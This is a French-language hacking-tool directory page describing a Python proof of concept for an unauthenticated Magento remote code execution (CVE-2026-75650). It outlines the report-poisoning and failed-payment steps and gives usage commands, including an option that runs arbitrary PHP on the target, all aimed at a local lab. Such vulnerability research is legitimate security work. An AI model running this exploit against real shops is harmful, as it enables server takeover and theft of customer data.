Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
stylesmuggler — PoC Python reproduisant CVE-2026-75650 StyleSmuggler, une RCE Magento non authentifiée via l'empoisonnement de rapports et le rendu des paiements échoués, avec vérification par canari. | Kitploit
Outils/GitHubGitHub/fortbridge/stylesmuggler
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionOutil d'Accès à Distance
GitHubfortbridge/stylesmuggler

stylesmuggler

PoC Python reproduisant CVE-2026-75650 StyleSmuggler, une RCE Magento non authentifiée via l'empoisonnement de rapports et le rendu des paiements échoués, avec vérification par canari.

Voir le dépôt
il y a 9h 29mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

StyleSmuggler HTTP PoC

Dépôt de recherche privé pour la reproduction HTTP uniquement de StyleSmuggler, CVE-2026-75650, contre un labo Magento Open Source local.

Lisez le walkthrough technique complet dans Magento StyleSmuggler RCE: Report Poisoning to Code Execution.

Le PoC Python exécute la séquence complète non authentifiée :

  1. empoisonner un rapport d'erreur Magento et lire son ID de rapport depuis la réponse ;
  2. créer un panier invité ;
  3. définir l'email invité requis par la notification de paiement échoué ;
  4. stocker la construction imbriquée du parseur d'adresse de facturation ;
  5. déclencher le rendu du paiement échoué avec type, text et styles dans la query string ;
  6. récupérer un canary frais par exécution via HTTP.

Il ne copie jamais un helper dans le conteneur ni n'invoque le scanner via Docker. La bibliothèque standard de Python suffit.

Exécution contre un labo existant

root@kitploit:~
python3 exploit.py --target http://localhost:18082

La sortie finale doit contenir RCE VERIFIED et le même marqueur frais affiché plus tôt dans cette exécution. Un canary existant ne peut pas satisfaire la vérification car chaque exécution génère un nouveau marqueur.

STYLESMUGGLER_RUN_...

Le chemin du rapport doit être le chemin vu par le processus PHP cible. Remplacez-le lorsque Magento utilise une autre racine de documents :

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --report-dir /srv/magento/var/report

PHP personnalisé

Passez des instructions PHP sans <?php ni ?> :

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'

curl -sS http://localhost:18082/custom-test.txt

Le PoC écrit son marqueur de vérification frais avant d'exécuter le fragment fourni et vérifie ensuite toujours ce marqueur.

Burp

Chaque requête, y compris l'empoisonnement du rapport et la récupération finale du canary, peut être envoyée via un proxy HTTP :

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --proxy http://127.0.0.1:8082

Ajoutez --proxy-insecure pour une cible HTTPS dont le certificat intercepté n'est pas approuvé par Python.

Flux curl manuel

curl_failed_payment.sh exécute les quatre requêtes de l'étape 2 et étiquette le composant Magento atteint par chaque requête. Il nécessite curl, jq et openssl :

root@kitploit:~
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Définissez une autre cible ou un autre listener Burp via des variables d'environnement :

root@kitploit:~
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Cible locale

docker-compose.yml fournit des services MySQL, OpenSearch et PHP/Apache isolés sur 127.0.0.1:18082. Il attend une arborescence source Magento installée à ./magento2-src.

La validation finale propre a utilisé le commit Magento :

root@kitploit:~
f8405be831efa461ec18cc5a637cd98afa767015

Clonez la source et installez ses dépendances Composer avant de lancer le processus normal setup:install de Magento :

root@kitploit:~
git clone --filter=blob:none --branch 2.4-develop \
  https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015

docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction

Une fois Magento installé avec l'hôte de base de données db, l'hôte OpenSearch opensearch et l'URL de base http://localhost:18082/, démarrez le service web :

root@kitploit:~
docker compose up -d web
docker compose ps
Télécharger l’outil